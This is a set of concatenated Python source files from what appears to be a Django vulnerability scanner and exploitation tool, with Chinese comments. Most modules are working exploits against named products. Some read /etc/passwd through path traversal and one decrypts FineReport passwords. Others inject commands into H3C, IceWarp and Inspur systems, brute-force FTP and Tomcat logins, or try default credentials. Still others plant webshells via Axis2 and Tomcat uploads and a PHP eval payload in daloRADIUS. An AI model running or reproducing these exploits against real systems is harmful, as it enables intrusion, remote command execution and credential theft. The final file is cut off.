from django.apps import AppConfig class PwdmodelConfig(AppConfig): default_auto_field = 'django.db.models.BigAutoField' name = 'PwdModel' --- FILE SEPARATOR --- from django.db import models # Create your models here. class Pwd(models.Model): system = models.CharField(max_length=100, default="") username = models.CharField(max_length=100, default="") password = models.CharField(max_length=100, default="") --- FILE SEPARATOR --- # Generated by Django 3.2.1 on 2021-07-27 03:47 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('ScanTaskModel', '0011_alter_scantask_ip_range'), ] operations = [ migrations.AddField( model_name='scantask', name='group', field=models.CharField(default='测试', max_length=100), ), ] --- FILE SEPARATOR --- # Generated by Django 3.2.1 on 2021-07-28 15:25 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('ServiceScanModel', '0006_servicescan_note'), ] operations = [ migrations.AddField( model_name='servicescan', name='cookies', field=models.CharField(default='', max_length=500), ), migrations.AddField( model_name='servicescan', name='webvpn', field=models.CharField(default='', max_length=100), ), ] --- FILE SEPARATOR --- # Generated by Django 3.2.1 on 2021-07-28 19:36 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('ServiceScanModel', '0008_auto_20210728_1608'), ] operations = [ migrations.AlterField( model_name='servicescan', name='isVpn', field=models.BooleanField(default=False, max_length=100), ), ] --- FILE SEPARATOR --- # Generated by Django 3.2.1 on 2021-07-28 22:29 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('VulnScanModel', '0008_vulnscan_specify'), ] operations = [ migrations.AddField( model_name='vulnscan', name='cookies', field=models.CharField(default='', max_length=500), ), ] --- FILE SEPARATOR --- import json from django.http import HttpRequest, HttpResponse from django.shortcuts import render from GroupModel.models import Group from ScanTaskModel.models import ScanTask from PocModel.models import Poc from VulnScanModel.models import VulnScan from ServiceScanModel.models import ServiceScan from PwdModel.models import Pwd from . import serviceUtil, vulnUtil, IpModelUtil, scan, pageUtil label_dict = { "high": "<label class='label label-danger'>{text}</label>", "medium": "<label class='label label-primary'>{text}</label>", "low": "<label class='label label-success'>{text}</label>", } service_row = "<tr><td>{id}</td><td>{ip}</td><td>{port_labels}</td><td>{spec_labels}</td>{note}<td><a href=\"#\"><span class=\"glyphicon glyphicon-eye-{status}\"></span></a></td></tr>" vuln_label = ''' <label class="label label-{risk}" data-toggle="popover" data-placement="auto left" data-content="{desc}" data-html="true"><a href="javascript:void(0)" onclick="get_exp({id})""> <span style="color: gainsboro">{port}:</span> {vuln} </a></label> ''' service_label = ''' <label class="label label-default" data-toggle="popover" data-placement="auto right" data-title="Title: {title}" data-content="Port: {port}<br>Server: {server}" data-html="true"> <a href="javascript:void(0)" onclick='window.open("{url}")' style="color: white"> <span class='port'>{port}: </span>{t_title}</a></label> ''' note_column = """ <td style="color: crimson" class="text-center note"> <input class="unactive new-note" value="{note}" id="{ip}" style="height: 22px" name="note"/> <span class="note">{note}</span> </td> """ ip_row = """ <tr> <td>{id}</td> <td id="ip_0">{ip}</td> <td id="location" style="color: #2b669a"> {location} </td> <td><a href="/scan/service?group=2&new_ip={ip}&port=0&desc={desc}"><span class="glyphicon glyphicon-share-alt"></span></a></td> </tr> """ pwd_row = """ <tr> <td>{id}</td> <td>{system}</td> <td> {username} </td> <td> {password} </td> <td><a href="#"><span class="glyphicon glyphicon-eye-open"></span></a></td> </tr> """ task_table = """ <table class="table table-hover task-table"> <tr class="info-tool" style="background-color: #002c55"> <th class="col-md-1">序号</th> <th class="col-md-3">扫描范围</th> <th class="col-md-2">任务描述</th> <th class="col-md-2">服务扫描</th> <th class="col-md-2">漏洞扫描</th> <th class="col-md-1">移动</th> <th class="col-md-1">删除</th> </tr> {rows} </table> {footer} """ task_row = """ <tr> <td>{count}</td> <td><strong style="color: crimson">{ip_range}</strong></td> <td> <input class="col-md-10 desc unactive" value="{description}" style="height: 22px" name="description" id="{id} "/> <span class="text-warning">{description}</span> <span class="glyphicon glyphicon-pencil pull-right" style="margin-top: 1px"></span> </td> <td> <a href="/scan/service/?id={id}"> {service_process} </a> </td> <td> <a href="/scan/vuln/?id={id}"> {vuln_process} </a> </td> <td> <a class="new-btn" href="javascript:void(0)"><span class=" glyphicon glyphicon-circle-arrow-right" onclick='move("{id}")' aria-hidden="true"></span></a> </td> <td> <a class="new-btn" href="javascript:void(0)"><span class="glyphicon glyphicon-trash" onclick='confirm(del, "{id}")' aria-hidden="true"></span></a> </td> </tr> """ task_footer = """ <div class="text-center foot-block"> <ul class="pagination"> <li><a href="javascript:void(0)" onclick="change_page(-1)">&laquo;</a></li> {labels} <li><a href="javascript:void(0)" onclick="change_page(0)">&raquo;</a></li> </ul> </div> """ group_option = '<option value="{id}">{name}</option>' def get_async_result(request: HttpRequest): # 伪异步,获取实时扫描结果 mode = request.GET["mode"] count = process = 0 if "task_id" in request.GET: task_id = request.GET["task_id"] task = ScanTask.objects.get(id=task_id) count = int(request.GET["count"]) new_rows = "" if mode == "service" or mode == "fofa": new_result = serviceUtil.get_results(task_id) process = task.service_process / task.task_count if new_result != [{}]: for i in new_result: status = "open" if i["vulnerable"] else "close" count += 1 port_labels = "" service_labels = "" for p in i["ports"]: if not p["title"] == "": service_labels += service_label.format(port=p["port"], title=p["title"], server=p["server"], t_title=( p["title"][:10] + "..." if len(p["title"]) > 10 else p["title"]), url=p["url"]) port_labels += label_dict[p["type"]].format(text=p["label"]) + " " new_rows += service_row.format(id=count, ip=i["ip"], port_labels=port_labels, spec_labels=service_labels, status=status, note=note_column.format(note=i["note"], ip=i["ip"])) elif mode == "vuln": process = task.vuln_process / task.vuln_count if task.vuln_count != 0 else 0 new_result = vulnUtil.get_results(task_id) if new_result != [{}]: status = "open" for i in new_result: count += 1 service_labels = "" vuln_labels = "" for p in i["ports"]: if p["title"]: service_labels += service_label.format(port=p["port"], title=p["title"], server=p["server"], t_title=( p["title"][:10] + "..." if len(p["title"]) > 10 else p["title"]), url=p["url"]) for v in i["vulns"]: vuln_labels += vuln_label.format(risk=v["risk"], vuln=v["vulnerability"], desc=v["description"].replace('"', '&quot;'), port=v["port"], id=v["id"]) new_rows += service_row.format(id=count, ip=i["ip"], port_labels=service_labels, spec_labels=vuln_labels, status=status, note="") # print(new_rows) elif mode == "ip": new_result = IpModelUtil.get_results(task_id) process = task.service_process / task.task_count for i in new_result: count += 1 new_rows += ip_row.format(id=count, ip=i.ip, location=i.location, desc=i.location.split(" ")[-1]) elif mode == "pwd": new_result = Pwd.objects.order_by("system").filter(system__icontains=request.GET["system"]) for i in new_result: count += 1 new_rows += pwd_row.format(id=count, system=i.system, username=i.username, password=i.password) elif mode == "task": each_num = 15 # 每页显示行数 page = int(request.GET["page"]) page_labels = "" group = request.GET["group"] query = scan.get_query(request) request.session["page"] = page request.session["group"] = group result = ScanTask.objects.order_by("id").filter( mode="", group=group).extra(where=[query]) last_page = pageUtil.get_lastpage(result.count(), each_num=each_num) pages = pageUtil.get_pages(page, last_page=last_page) new_result = result[(page - 1) * each_num: page * each_num] for i in new_result: count += 1 service_process = '<span class="label label-success">已完成</span>' if ( i.service_process == i.task_count) else '<span class="label label-warning">未完成</span>' vuln_process = '<span class="label label-success">已完成</span>' if ( i.vuln_process == i.vuln_count and i.vuln_process != 0) else '<span class="label label-warning">未完成</span>' new_rows += task_row.format(count=count, description=i.description, id=i.id, service_process=service_process, vuln_process=vuln_process, ip_range=i.ip_range) for i in pages: if i != '...': active = "active" if i == page else "" page_label = f'<li class ="{active}" > <a href="javascript:void(0)" onclick="change_page({i})">{i}</a></li>' else: page_label = "<li><span>...</span></li>" page_labels += page_label new_rows = task_table.format(rows=new_rows, footer=task_footer.format(labels=page_labels)) # print(page_labels) elif mode == "group": new_result = Group.objects.all() for i in new_result: new_rows += group_option.format(id=i.id, name=i.name) return HttpResponse(json.dumps({"html": new_rows, "count": count, "process": process})) def get_task_id(request: HttpRequest): task = ScanTask() task.save() id = task.id task.delete() return HttpResponse(id + 1) def edit(request: HttpRequest): id = request.GET["id"] mode = request.GET["mode"] description = request.GET["description"] if mode == "task": task = ScanTask.objects.get(id=id) task.description = description task.save() return HttpResponse("success") def use_poc(request: HttpRequest): poc = Poc.objects.get(id=request.GET["id"]) poc.isUse = not poc.isUse poc.save() return HttpResponse("success") def get_exp(request: HttpRequest): vuln = VulnScan.objects.get(id=request.GET["id"]) poc = Poc.objects.get(poc_name=vuln.module) cmd = poc.cmd if poc.cmd != "" else "无" return HttpResponse(json.dumps([vuln.ip, vuln.vulnerability, cmd])) def switch_service(request: HttpRequest): service_list = ServiceScan.objects.filter(ip=request.GET["ip"], taskid=request.GET["tid"]) for i in service_list: i.vulnerable = not i.vulnerable i.save() return HttpResponse("success") def add_note(request: HttpRequest): task_id = request.GET["tid"] ip = request.GET["ip"] note = request.GET["note"] service_list = ServiceScan.objects.filter(taskid=task_id, ip=ip) for i in service_list: i.note = note i.save() return HttpResponse("success") def clear_note(request: HttpRequest): task_id = request.GET["tid"] service_list = ServiceScan.objects.filter(taskid=task_id) for i in service_list: i.note = "" i.vulnerable = False i.save() return HttpResponse("success") def switch_poc(request: HttpRequest): if request.GET["old"] == "True": mode = True data = ("禁用所有POC", "glyphicon-ok", "False") else: mode = False data = ("启用所有POC", "glyphicon-remove", "True") poc_list = Poc.objects.all() for i in poc_list: i.isUse = mode i.save() return HttpResponse(json.dumps([*data])) def get_group(request: HttpRequest): group = Group.objects.get(id=request.GET["gid"]) return HttpResponse(json.dumps([group.id, group.name, group.webvpn, group.cookies])) --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # Citrix XenMobile 任意文件读取 from .. import fileUtil from ServiceScanModel.models import ServiceScan from ..requestClass import Requests class POC: def __init__(self, service: ServiceScan): self.service = service self.requestUtil = Requests(service.cookies) self.result = False def read_file(self, url, filename='/etc/passwd'): resp = self.requestUtil.get(url + "/jsp/help-sb-download.jsp?sbFileName=%s" % ("../" * 8 + filename)) if resp.status_code == 200: return resp.text def fingerprint(self): try: if "XenMobile" in self.service.title: return True except: return False def poc(self): try: result = self.read_file(self.service.url) print(result) if True: if "root" in result: return ["Citrix XenMobile 任意文件读取", "<b>/etc/passwd: </b><br>%s<br>..." % "<br>".join(result.split("\n")[:2])] except: return [] --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # Apache ActiveMQ 弱密码 from .. import fileUtil from ServiceScanModel.models import ServiceScan from vulscan_Project.requestClass import Requests class POC: def __init__(self, service: ServiceScan): self.service = service self.requestUtil= Requests(service.cookies) def login(self, url): resp = self.requestUtil.get(url.strip("/") + "/admin", header={"Authorization": "Basic YWRtaW46YWRtaW4="}) print(resp.status_code) if resp.status_code == 200: return True def fingerprint(self): try: if self.service.port == 8161: return True except: return False def poc(self): try: if self.login(self.service.url): return ["Apache ActiveMQ 弱密码", "用户名: admin<br>密码: admin"] except: return [] --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # Apache Flink 任意文件读取 from VulnScanModel.models import VulnScan from ServiceScanModel.models import ServiceScan from vulscan_Project.requestClass import Requests from vulscan_Project.modules.apache_flink_file_poc import POC class EXP: def __init__(self, vuln: VulnScan): self.vuln = vuln self.requestUtil = Requests(vuln.cookies) def exp(self, cmd, content=""): poc = POC(ServiceScan(cookies=self.vuln.cookies)) return poc.flink_file_poc(self.vuln.url, cmd, "exp") --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # Apache Flink 任意文件读取 from .. import fileUtil from ServiceScanModel.models import ServiceScan from vulscan_Project.requestClass import Requests class POC: def __init__(self, service: ServiceScan = None): self.service = service self.requestUtil = Requests(service.cookies) def flink_file_poc(self, url, filename="/etc/passwd", type="poc"): resp = self.requestUtil.get( url + "/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f" + filename.replace( "/", "%252f")) print(resp.text) if type == "poc": if "root" in resp.text: return resp.text else: return resp.text def fingerprint(self): try: if "Apache Flink" in self.service.title: return True except: return False def poc(self): try: result = self.flink_file_poc(self.service.url) if result: return ["Apache Flink 任意文件读取", "<b>/etc/passwd</b>: <br>" + "<br>".join(result.split("\n")[:2]) + "<br>..."] except: return [] --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # Apache Solr 任意文件读取 from VulnScanModel.models import VulnScan from ServiceScanModel.models import ServiceScan from vulscan_Project.requestClass import Requests from vulscan_Project.modules.apache_solr_file_poc import POC class EXP: def __init__(self, vuln: VulnScan): self.vuln = vuln self.requestUtil = Requests(vuln.cookies) def exp(self, cmd, content=""): poc = POC(ServiceScan(cookies=self.vuln.cookies)) return poc.solr_file_poc(self.vuln.url, self.vuln.specify, cmd, "exp") --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # Apache Solr Velocity模板远程执行 from VulnScanModel.models import VulnScan from ServiceScanModel.models import ServiceScan from vulscan_Project.requestClass import Requests from vulscan_Project.modules.apache_solr_velocity_poc import POC class EXP: def __init__(self, vuln: VulnScan): self.vuln = vuln self.requestUtil = Requests(vuln.cookies) def exp(self, cmd, content=""): poc = POC(ServiceScan(cookies=self.vuln.cookies)) return poc.rce(self.vuln.url, self.vuln.specify, cmd) --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # axis2弱密码 import re import requests from .. import fileUtil from VulnScanModel.models import VulnScan from ServiceScanModel.models import ServiceScan from vulscan_Project.requestClass import Requests class EXP: def __init__(self, vuln: VulnScan): self.vuln = vuln self.requestUtil = Requests(vuln.cookies) def upload_aar(self, url, session): resp = self.requestUtil.get(url + "upload", session=session) token = re.findall('doUpload\?token=(.*?)"', resp.text) if not token == []: upload_path = "doUpload?token=%s" % token[0] else: upload_path = "upload" data = self.requestUtil.get_file_data("config.aar", fileUtil.open_file(dir="webshell", filename="config.aar", mode="rb").read()) resp = self.requestUtil.post(url + upload_path, data=data[0], header={"Content-Type": data[1]}, session=session) print(resp.text) return True def login(self, url, session): resp = self.requestUtil.post(url + "login", data="userName=admin&password=axis2&submit=+Login+", session=session) return True def rce(self, url, cmd): resp = self.requestUtil.get(f"{url}/services/config/exec?cmd={cmd}", timeout=10) if resp.status_code != 404: return re.findall("<ns:return>(.*?)</ns:return>", resp.text, re.DOTALL)[0].replace("&#xd;", "\n") else: return False def exp(self, cmd, content=""): root_url = self.vuln.url + self.vuln.specify.replace("/axis2-admin/", "") result = self.rce(root_url, cmd) if not result: session = requests.session() admin_url = self.vuln.url + self.vuln.specify self.login(admin_url, session) self.upload_aar(admin_url, session) result = self.rce(self.vuln.url + self.vuln.specify.replace("/axis2-admin/", ""), cmd) return "shell地址: \n%s" % f"{root_url}/services/config\n输出结果:\n" + str(result) --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # axis2弱密码 from .. import fileUtil from ServiceScanModel.models import ServiceScan from vulscan_Project.requestClass import Requests class POC: def __init__(self, service: ServiceScan): self.service = service self.requestUtil = Requests(service.cookies) def fingerprint(self): try: if self.service.url and "Apache-Coyote" in self.service.server: resp_1 = self.requestUtil.get(self.service.url + "/axis2/") resp_2 = self.requestUtil.get(self.service.url + "/axis2-admin/") if resp_1.status_code == 200: return "/axis2/axis2-admin/" elif resp_2.status_code == 200: return "/axis2-admin/" except: return False def poc(self): try: if True: resp = self.requestUtil.post(self.service.url + self.service.speciality + "login", data="userName=admin&password=axis2&submit=+Login+") print(resp.text) if "Tools" in resp.text: return (["axis2弱密码", "用户名: admin<br>密码: axis2"], self.service.speciality) except: return [] --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # ftp弱密码 import ftplib from threading import Thread from .. import fileUtil from ServiceScanModel.models import ServiceScan from ..requestClass import Requests, session class Burp(Thread): def __init__(self, ip, username, password): Thread.__init__(self) self.ip = ip self.username = username self.password = password self.result = False def run(self): try: ftp = ftplib.FTP(self.ip, timeout=0.5) ftp.login(self.username, self.password) self.result = True except: pass def get_result(self): return self.result class POC: def __init__(self, service: ServiceScan = None): self.service = service self.requestUtil = Requests(service.cookies) self.result = False def fingerprint(self): try: try: ftp = ftplib.FTP(self.service.ip, timeout=0.5) except: pass except: return False def poc(self): try: def Test(test_list): for t in test_list: t.start() for t in test_list: t.join() for t in test_list: if t.get_result(): return (t.username, t.password) return False burp_list = fileUtil.get_burp_list("ftp") test_list = [] for i in burp_list: test_list.append(Burp(self.service.ip, i[0], i[1])) if len(test_list) % 30 == 0: result = Test(test_list) if result: return ["ftp弱密码", f"用户名: {result[0]}<br>密码: {result[1]}"] result = Test(test_list) if result: return ["ftp弱密码", f"用户名: {result[0]}<br>密码: {result[1]}"] except: return [] --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # ssh弱密码 import paramiko from VulnScanModel.models import VulnScan from vulscan_Project.requestClass import Requests class EXP: def __init__(self, vuln: VulnScan): self.vuln = vuln self.requestUtil = Requests(vuln.cookies) def exp(self, cmd, content=""): ssh = paramiko.SSHClient() # 创建SSH对象 ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # 允许连接不在know_hosts文件中的主机 ssh.connect(hostname=self.vuln.ip, port=22, username=self.vuln.specify.split(":")[0], password=self.vuln.specify.split(":")[-1], timeout=1) # 连接服务器 stdin, stdout, stderr = ssh.exec_command(cmd) res, err = stdout.read(), stderr.read() result = res if res else err return result.decode() --- FILE SEPARATOR --- import re import requests from VulnScanModel.models import VulnScan from .. import fileUtil from vulscan_Project.requestClass import Requests class EXP: def __init__(self, vuln: VulnScan): self.vuln = vuln self.requestUtil = Requests(vuln.cookies) def upload_war(self, url, authorized_key): resp = self.requestUtil.get(url + "/manager/html", header={"Authorization": "Basic %s" % authorized_key}) upload_path = re.findall(r'"(/manager/html/upload.*?)"', resp.text)[0] data = self.requestUtil.get_file_data(filename="zs.war", filedata=fileUtil.open_file(filename="zs.war", dir="webshell", mode="rb").read(), param="deployWar") resp = self.requestUtil.post(url + upload_path, data=data[0], header={"Content-Type": data[1], "Authorization": "Basic %s" % authorized_key}) return True def rce(self, url, cmd): resp = self.requestUtil.get(url + f"/zs/zs.jsp?i={cmd}") print(resp.text) if resp.status_code != 404: return resp.content.replace(b'\x00', b'').decode() else: return False def exp(self, cmd, content=""): result = self.rce(self.vuln.url, cmd) if not result: self.upload_war(self.vuln.url, self.vuln.specify) result = self.rce(self.vuln.url, cmd) return "shell地址: \n%s" % f"{self.vuln.url}/zs/zs.jsp\n输出结果:\n" + str(result) --- FILE SEPARATOR --- import base64 import time from ServiceScanModel.models import ServiceScan from .. import fileUtil, requestUtil from ..requestClass import Requests def tomcat_poc(url): print(url) with fileUtil.open_file("dict_tomcat/dic_tomcat_key.txt", "r") as f: for i in f.readlines(): authorized_key = i.strip() resp = requestUtil.get(url + "/manager/html", header={ "Authorization": "Basic %s" % (base64.b64encode(authorized_key.encode()).decode())}) if "Tomcat Host Manager Application" in resp.text: return ( ["tomcat弱密码", "用户名:%s<br>密码:%s" % (authorized_key.split(":")[0], authorized_key.split(":")[-1])], (base64.b64encode(authorized_key.encode()).decode())) return [] class POC: def __init__(self, service: ServiceScan): self.service = service self.requestUtil = Requests(service.cookies) self.result = False def fingerprint(self): if not "Apache-Coyote" in self.service.server: return False else: try: resp = requestUtil.get(self.service.url + "/manager/html") if not resp.status_code == 401: raise Exception else: return True except Exception as e: print(e) return False def poc(self): return tomcat_poc(self.service.url) --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # daloradius弱密码 import time from VulnScanModel.models import VulnScan from ServiceScanModel.models import ServiceScan from vulscan_Project.requestClass import Requests, session log_file = "passer-W.php" config_data = f"config_pageslogging=yes&config_querieslogging=yes&config_actionslogging=yes&config_debuglogging=yes&config_debugpageslogging=yes&config_filenamelogging={log_file}&submit=%E5%BA%94%E7%94%A8" old_config_data = "config_pageslogging=no&config_querieslogging=no&config_actionslogging=no&config_debuglogging=no&config_debugpageslogging=no&config_filenamelogging=/tmp/daloradius.log&submit=%E5%BA%94%E7%94%A8" user_data = "authType=userAuth&username=passer-W%40&password=<?php eval($_GET[1]); ?>&passwordType=Cleartext-Password&groups%5B%5D=&submit=%E5%BA%94%E7%94%A8&firstname=&lastname=&email=&department=&company=&workphone=&homephone=&mobilephone=&address=&city=&state=&country=&zip=&notes=&portalLoginPassword=&bi_contactperson=&bi_company=&bi_email=&bi_phone=&bi_address=&bi_city=&bi_state=&bi_country=&bi_zip=&bi_postalinvoice=&bi_faxinvoice=&bi_emailinvoice=&bi_paymentmethod=&bi_cash=&bi_creditcardname=&bi_creditcardnumber=&bi_creditcardverification=&bi_creditcardtype=&bi_creditcardexp=&bi_lead=&bi_coupon=&bi_ordertaker=&bi_notes=&bi_billdue=&bi_nextinvoicedue=" session = session() class EXP: def __init__(self, vuln: VulnScan): self.vuln = vuln self.requestUtil = Requests(vuln.cookies) def get_data(self, data): return {i.split("=")[0]: i.split("=")[-1] for i in data.split("&")} def add_user(self, url): resp = self.requestUtil.post(f"{url}/mng-new.php", self.get_data(user_data), session=session) def delete_user(self, url): self.requestUtil.get(url + "/mng-del.php?username%5B%5D=passer-W%2540", session=session) def write_file(self, url="", filename="", filedata=""): resp = self.requestUtil.get(f"{url}/{log_file}?1=file_put_contents('{filename}', '{filedata}');", session=session) def exp(self, cmd, content=""): self.requestUtil.post(f"{self.vuln.url}/dologin.php", data={"operator_user": "administrator", "operator_pass": "radius"}, session=session) resp = self.requestUtil.post(f"{self.vuln.url}/config-logging.php", data=self.get_data(data=config_data), session=session) time.sleep(1) self.add_user(self.vuln.url) self.delete_user(self.vuln.url) self.write_file(self.vuln.url, cmd, content) resp = self.requestUtil.post(f"{self.vuln.url}/config-logging.php", data=self.get_data(data=old_config_data), session=session) resp = self.requestUtil.get(self.vuln.url + "/" + cmd) if resp.status_code == 200: return f"文件已写入,shell地址:\n{self.vuln.url}/{cmd}" else: return "权限不足,文件写入失败" --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # daloradius弱密码 from .. import fileUtil from ServiceScanModel.models import ServiceScan from vulscan_Project.requestClass import Requests class POC: def __init__(self, service: ServiceScan): self.service = service self.requestUtil = Requests(service.cookies) def test_pwd(self, url): resp = self.requestUtil.post(url + "/dologin.php", data={"operator_user": "administrator", "operator_pass": "radius"}) if "daloRADIUS Web Management Server" in resp.text: return (True) def fingerprint(self): try: if "daloradius" in self.service.title.lower(): return True except: return False def poc(self): try: if self.test_pwd(url=self.service.url): return ["daloradius弱密码", "用户名: administrator<br>密码: radius"] except: return [] --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # docker未授权 from vulscan_Project.requestClass import Requests from ServiceScanModel.models import ServiceScan class POC: def __init__(self, service: ServiceScan): self.service = service self.requestUtil = Requests(service.cookies) self.result = False def docker_poc(self, url): resp = self.requestUtil.get(url) if resp.status_code == 200: return ["docker未授权", "docker remote api未授权"] else: return [] def fingerprint(self): if self.service.port == 2375: return True def poc(self): return self.docker_poc("http://%s:%s/info" % (self.service.ip, self.service.port)) --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # 帆软报表8.0 任意文件读取 import re from ServiceScanModel.models import ServiceScan from vulscan_Project.requestClass import Requests def decrypt(cipher): PASSWORD_MASK_ARRAY = [19, 78, 10, 15, 100, 213, 43, 23] # 掩码 password = "" cipher = cipher[3:] # 截断三位后 for i in range(int(len(cipher) / 4)): c1 = int("0x" + cipher[i * 4:(i + 1) * 4], 16) c2 = c1 ^ PASSWORD_MASK_ARRAY[i % 8] password = password + chr(c2) return password class POC: def __init__(self, service: ServiceScan): self.service = service self.requestUtil= Requests(service.cookies) self.result = False def fineport_file_poc(self, filename="privilege.xml", type="poc"): resp = self.requestUtil.get(self.service.url + "/WebReport/ReportServer?op=chart&cmd=get_geo_json&resourcepath=%s" % filename) if type == "poc": info_list = (re.findall("<!\[CDATA\[(.*?)]]>", resp.text))[:2] return (info_list[0], decrypt(info_list[1])) else: return resp.text def fingerprint(self): try: if self.service.url: resp = self.requestUtil.get(self.service.url + "/WebReport/ReportServer") if "部署页面" in resp.text: return True except: return False def poc(self): try: result = self.fineport_file_poc() if result: return ["帆软报表8.0 任意文件读取", "用户名: %s<br>密码: %s" % (result[0], result[1])] except: return [] --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # H3C SecParh堡垒机远程命令执行 import requests from ServiceScanModel.models import ServiceScan from VulnScanModel.models import VulnScan from . import h3c_secparth_rce_poc from ..requestClass import Requests from .h3c_secparth_rce_poc import POC class EXP: def __init__(self, vuln: VulnScan): self.vuln = vuln self.requestUtil = Requests(vuln.cookies) def exp(self, cmd, content=""): session = requests.session() poc = POC(ServiceScan(url=self.vuln.url, cookies=self.vuln.cookies)) poc.login(self.vuln.url, session) return poc.rce(self.vuln.url, session, cmd) --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # H3C SecParh堡垒机远程命令执行 import re import requests from .. import fileUtil from ServiceScanModel.models import ServiceScan from vulscan_Project.requestClass import Requests session = requests.session() class POC: def __init__(self, service: ServiceScan): self.service = service self.requestUtil= Requests(service.cookies) self.result = False def login(self, url, session): resp = self.requestUtil.get( url + "/audit/gui_detail_view.php?token=1&id=%5C&uid=%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=admin", session=session) return True def rce(self, url, session, cmd="whoami"): resp = self.requestUtil.get( url + "/audit/data_provider.php?ds_y=2019&ds_m=04&ds_d=02&ds_hour=09&ds_min40&server_cond=&service=$(%s)&identity_cond=&query_type=all&format=json&browse=true" % cmd, session=session) if "--service=" in resp.text: return re.findall(r'--service=(.*?)"', resp.text)[0] else: return False def fingerprint(self): try: if self.service.url: resp = self.requestUtil.get(self.service.url) if "H3C SecPath 运维审计系统" in resp.text: return True except: return False def poc(self): try: self.login(self.service.url, session) result = self.rce(self.service.url, session) if result: return ["H3C SecParh堡垒机远程命令执行", "当前用户: %s" % result] except Exception as e: print(e) return [] --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # IceWarp WebClient 远程命令执行 from VulnScanModel.models import VulnScan from ServiceScanModel.models import ServiceScan from vulscan_Project.requestClass import Requests from vulscan_Project.modules.icewarp_rce_poc import POC class EXP: def __init__(self, vuln: VulnScan): self.vuln = vuln self.requestUtil = Requests(vuln.cookies) def exp(self, cmd, content=""): poc = POC(ServiceScan(url=self.vuln.url, cookies=self.vuln.cookies)) return poc.rce(cmd) --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # IceWarp WebClient 远程命令执行 from .. import fileUtil from ServiceScanModel.models import ServiceScan from vulscan_Project.requestClass import Requests class POC: def __init__(self, service: ServiceScan): self.service = service self.requestUtil = Requests(service.cookies) self.result = "" def rce(self, cmd="whoami"): resp = self.requestUtil.post(self.service.url + "/webmail/basic/", data=f"_dlg[captcha][target]=system(\\\'{cmd}\\\')\\") try: output = resp.text.split("<!-- Webmail Basic -->")[0] self.result = output return self.result except: pass def fingerprint(self): try: if self.service.title == "ICEWARP WEBCLIENT": return True except: return False def poc(self): try: self.rce() if self.result and 1 < len(self.result) < 50: return ["IceWarp WebClient 远程命令执行", "当前用户: <br>%s" % self.result] except: return [] --- FILE SEPARATOR --- from ServiceScanModel.models import ServiceScan from VulnScanModel.models import VulnScan from .inspur_rce_poc import POC from ..requestClass import Requests class EXP: def __init__(self, vuln: VulnScan): self.vuln = vuln self.requestUtil = Requests(vuln.cookies) def exp(self, cmd, content=""): poc = POC(ServiceScan(url=self.vuln.url, cookies=self.vuln.cookies)) url = self.vuln.url result = poc.sysShell_rce_test(url, self.vuln.specify, cmd) return result --- FILE SEPARATOR --- from ServiceScanModel.models import ServiceScan import re import requests import warnings import json from ..requestClass import Requests session = requests.session() warnings.filterwarnings("ignore") class POC: def __init__(self, service: ServiceScan): self.service = service self.requestUtil = Requests(service.cookies) self.result = False def get_nodes(self, url): resp = session.post(url + "/monNodelist?op=getNodeList", verify=False) if "node" in resp.text: node_info = json.loads(resp.text) return (node_info["nodes"]) else: return [""] def login_test(self, url): resp = session.post(url + "/login", data={"op": "login", "username": "admin|pwd", "password": ""}, verify=False) if '"exitcode":0,' in resp.text: return True else: return False def login_rce_test(self, url): resp = session.post(url + "/login", data={"op": "login", "username": r"1 2\',\'1\'\); `whoami`"}, verify=False) if 'root' in resp.text: return True else: return False def sysShell_rce_test(self, url, node, cmd=""): resp = session.post(url + "/sysShell", data={"op": "doPlease", "node": node, "command": "cat /etc/passwd" if cmd == "" else cmd}, verify=False) if cmd == "": if 'root:x:0:0:root' in resp.text: return node else: return False else: return re.findall("<br>(.*)<br>", resp.text)[0].replace("<br>", "\n") def fingerprint(self): try: if "TSCEV4.0 login" in self.service.title: return True except: pass def poc(self): result = ["", ""] try: if self.login_test(self.service.url): result[0] = "浪潮管理系统V4.0未授权" result[1] = "未授权登录" else: return [] if self.login_rce_test(self.service.url): result[0] = "浪潮管理系统V4.0RCE" result[1] += "<br>登录接口RCE" node = self.get_nodes(self.service.url)[0] specify = "" if node and self.sysShell_rce_test(self.service.url, node): result[0] = "浪潮管理系统V4.0RCE" result[1] += "<br>SysShell接口RCE" specify = node if not "RCE" in result[0]: result[2] = "warning" return (result, specify) except Exception as e: print(e) return [] --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # 金和OA C6 管理员默认口令 from .. import fileUtil from ServiceScanModel.models import ServiceScan from ..requestClass import Requests class POC: def __init__(self, service: ServiceScan): self.service = service self.requestUtil = Requests(service.cookies) self.result = False def admin_test(self): resp = self.requestUtil.post(url=self.service.url + "/C6/Jhsoft.Web.login/AjaxForLogin.aspx", data="type=login&loginCode=YWRtaW4=&&pwd=WHh6eDY5OTQ0NTY=&") return False def fingerprint(self): try: if self.service.url: resp = self.requestUtil.get(self.service.url) if "c6" in resp.text.lower(): return True except: return False def poc(self): try: if self.admin_test(): return ["金和OA C6 管理员默认口令", "用户名: admin<br>密码: 000000"] except: return [] --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # JumpServer 日志接口未授权 from .. import requestUtil from ServiceScanModel.models import 